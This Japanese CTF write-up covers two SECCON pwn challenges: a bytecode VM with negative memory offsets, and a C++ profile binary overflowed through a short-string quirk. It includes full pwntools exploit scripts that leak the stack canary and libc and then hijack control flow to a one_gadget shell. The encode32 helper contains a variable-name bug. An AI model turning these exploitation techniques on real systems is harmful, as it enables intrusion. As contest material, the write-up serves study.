チームm1z0r3で出場してprofileとkindvmを解いたのでそのwrite-up
kindvm
名前を聞かれた後,専用のバイトコードを入力する.
load
とstore
のメモリアクセスのオフセットに負数が使えるので,最初の名前をflag.txt
にして,halt
のときに表示されるbanner.txt
へのポインタをflag.txt
のポインタに書き換えればよい.
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
opcode_nop = 0
opcode_load = 1
opcode_store = 2
opcode_mov = 3
opcode_add = 4
opcode_sub = 5
opcode_halt = 6
opcode_in = 7
opcode_out = 8
opcode_hint = 9
def encode16(word):
if word < 0:
word = 2**16 + word
assert(0 <= word < 2**16)
return chr(word >> 8) + chr(word & 0xff)
def encode32(dword):
if dword < 0:
dword = 2**32 + dword
assert(0 <= dword < 2**32)
return chr(word >> 24) + chr((dword >> 16) & 0xff) \
+ chr((dword >> 8) & 0xff) + chr(dword & 0xff)
def nop():
return chr(opcode_nop)
def load(dst_reg, src_addr):
return chr(opcode_load) + chr(dst_reg) + encode16(src_addr)
def store(dst_addr, src_reg):
return chr(opcode_store) + encode16(dst_addr) + chr(src_reg)
def mov(dst_reg, src_reg):
return chr(opcode_mov) + chr(dst_reg) + chr(src_reg)
def add(dst_reg, src_reg):
return chr(opcode_add) + chr(dst_reg) + chr(src_reg)
def sub(dst_reg, src_reg):
return chr(opcode_sub) + chr(dst_reg) + chr(src_reg)
def halt():
return chr(opcode_halt)
def in_(dst_reg, dword):
return chr(opcode_in) + chr(dst_reg) + encode32(dword)
def out(reg):
return chr(opcode_out) + chr(reg)
def main():
name = -40
banner = -36
payload = load(0, name) + store(banner, 0)
payload += halt()
tube = remote('kindvm.pwn.seccon.jp', 12345)
tube.recvuntil('name : ')
tube.sendline('flag.txt')
tube.recvuntil('instruction : ')
tube.send(payload)
tube.interactive()
if __name__ == '__main__':
main()
profile
Please introduce yourself!
Name >> Mallory
Age >> 20
Message >> message
1 : update message
2 : show profile
0 : exit
>>
C++で書かれたバイナリ.名前,年齢,メッセージを入力するとメニューが開く.名前とメッセージはC++のstring
で確保されている.update
で上書きできる長さはmalloc_usable_size(string.c_str())
で決まっていて,一見大きくはみ出して書き込むことができないように見える.しかし,string
は文字列が短い時は文字列本体をstring
の内部におくので,これによってmalloc_usable_size
で参照されるサイズが小さくなり,malloc_usable_size
がめちゃくちゃ大きい数を返すようになる.
これでBOF
ができるようになったが,show
での出力がcout
を使っていて,string
のもとのサイズまでしか表示されない.なので,メッセージからリークするのではなく,BOF
で名前のポインタを書き換えて名前からリークを行う.
まずは,BOF
で名前のポインタを1byte書き換えて,スタックのアドレスをリークする.
これによって,ポインタをまるごと書き換えられるようになるので,それを使ってスタック上にあるcanary
と__libc_start_main+240
をリークする.
__libc_start_main+240
からlibcのアドレスがわかるので,BOF
でmain
のリターンアドレスをone_gadget
に書き換えてシェルがとれる(system
はよくわからないけど失敗した).
なお,スタックのアドレスは下位bitも毎回ちょっと変わるので,何回か試行する必要がある.
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
binary_file = './profile'
libc_file = 'libc.so.6'
binary = ELF(binary_file)
libc = ELF(libc_file)
def main_menu(tube, n):
tube.recvuntil('>> ')
tube.sendline(str(n))
def update(tube, name):
main_menu(tube, 1)
tube.recvuntil('>> ')
tube.sendline(name)
def show(tube):
main_menu(tube, 2)
tube.recvuntil('Name : ')
return tube.recvuntil('\n')[:-1]
def bye(tube):
main_menu(tube, 0)
leak_stack_gdb = 0x7fffffffed20
stack_string_gdb = 0x7fffffffed10
canary_gdb = 0x7fffffffed48
stack_rip_gdb = 0x7fffffffed68
string_to_canary = canary_gdb - stack_string_gdb
string_to_rip = stack_rip_gdb - stack_string_gdb
pop_rdi_ret = 0x00401713
def main(one_gadget_offset):
tube = remote('profile.pwn.seccon.jp', 28553)
# init
tube.recvuntil('Name >> ')
tube.sendline('Mallory')
tube.recvuntil('Age >> ')
tube.sendline('20')
tube.recvuntil('Message >> ')
tube.sendline('message')
# leak stack
update(tube, 'a' * 0x10 + chr(0x20)) # LSB of stack addr may change
data = show(tube)
print(data)
leak_stack_addr = u64(data.ljust(8, '\0'))
stack_string = leak_stack_addr - leak_stack_gdb + stack_string_gdb
print('stack_string = ' + hex(stack_string))
assert(stack_string > 0)
assert(stack_string % 0x10 == 0)
# leak canary
update(tube, 'a' * 0x10 + p64(stack_string + string_to_canary + 1))
canary = '\0' + show(tube)[:7]
int_canary = u64(canary.ljust(8, '\0'))
print('canary = ' + hex(int_canary))
assert(int_canary > 0x600000)
assert((int_canary & 0xff) == 0)
# leak libc
update(tube, 'a' * 0x10 + p64(stack_string + string_to_rip))
data = show(tube)
libc_start_main_240 = u64(data.ljust(8, '\0'))
libc_base = libc_start_main_240 - libc.symbols['__libc_start_main'] - 240
print('libc_base = ' + hex(libc_base))
assert((libc_base & 0xfff) == 0)
one_gadget = libc_base + one_gadget_offset
# call system
string = '\0' * string_to_canary + canary
string = string.ljust(string_to_rip, '\0')
update(tube, string + p64(one_gadget))
bye(tube)
tube.interactive()
if __name__ == '__main__':
main(0x45216)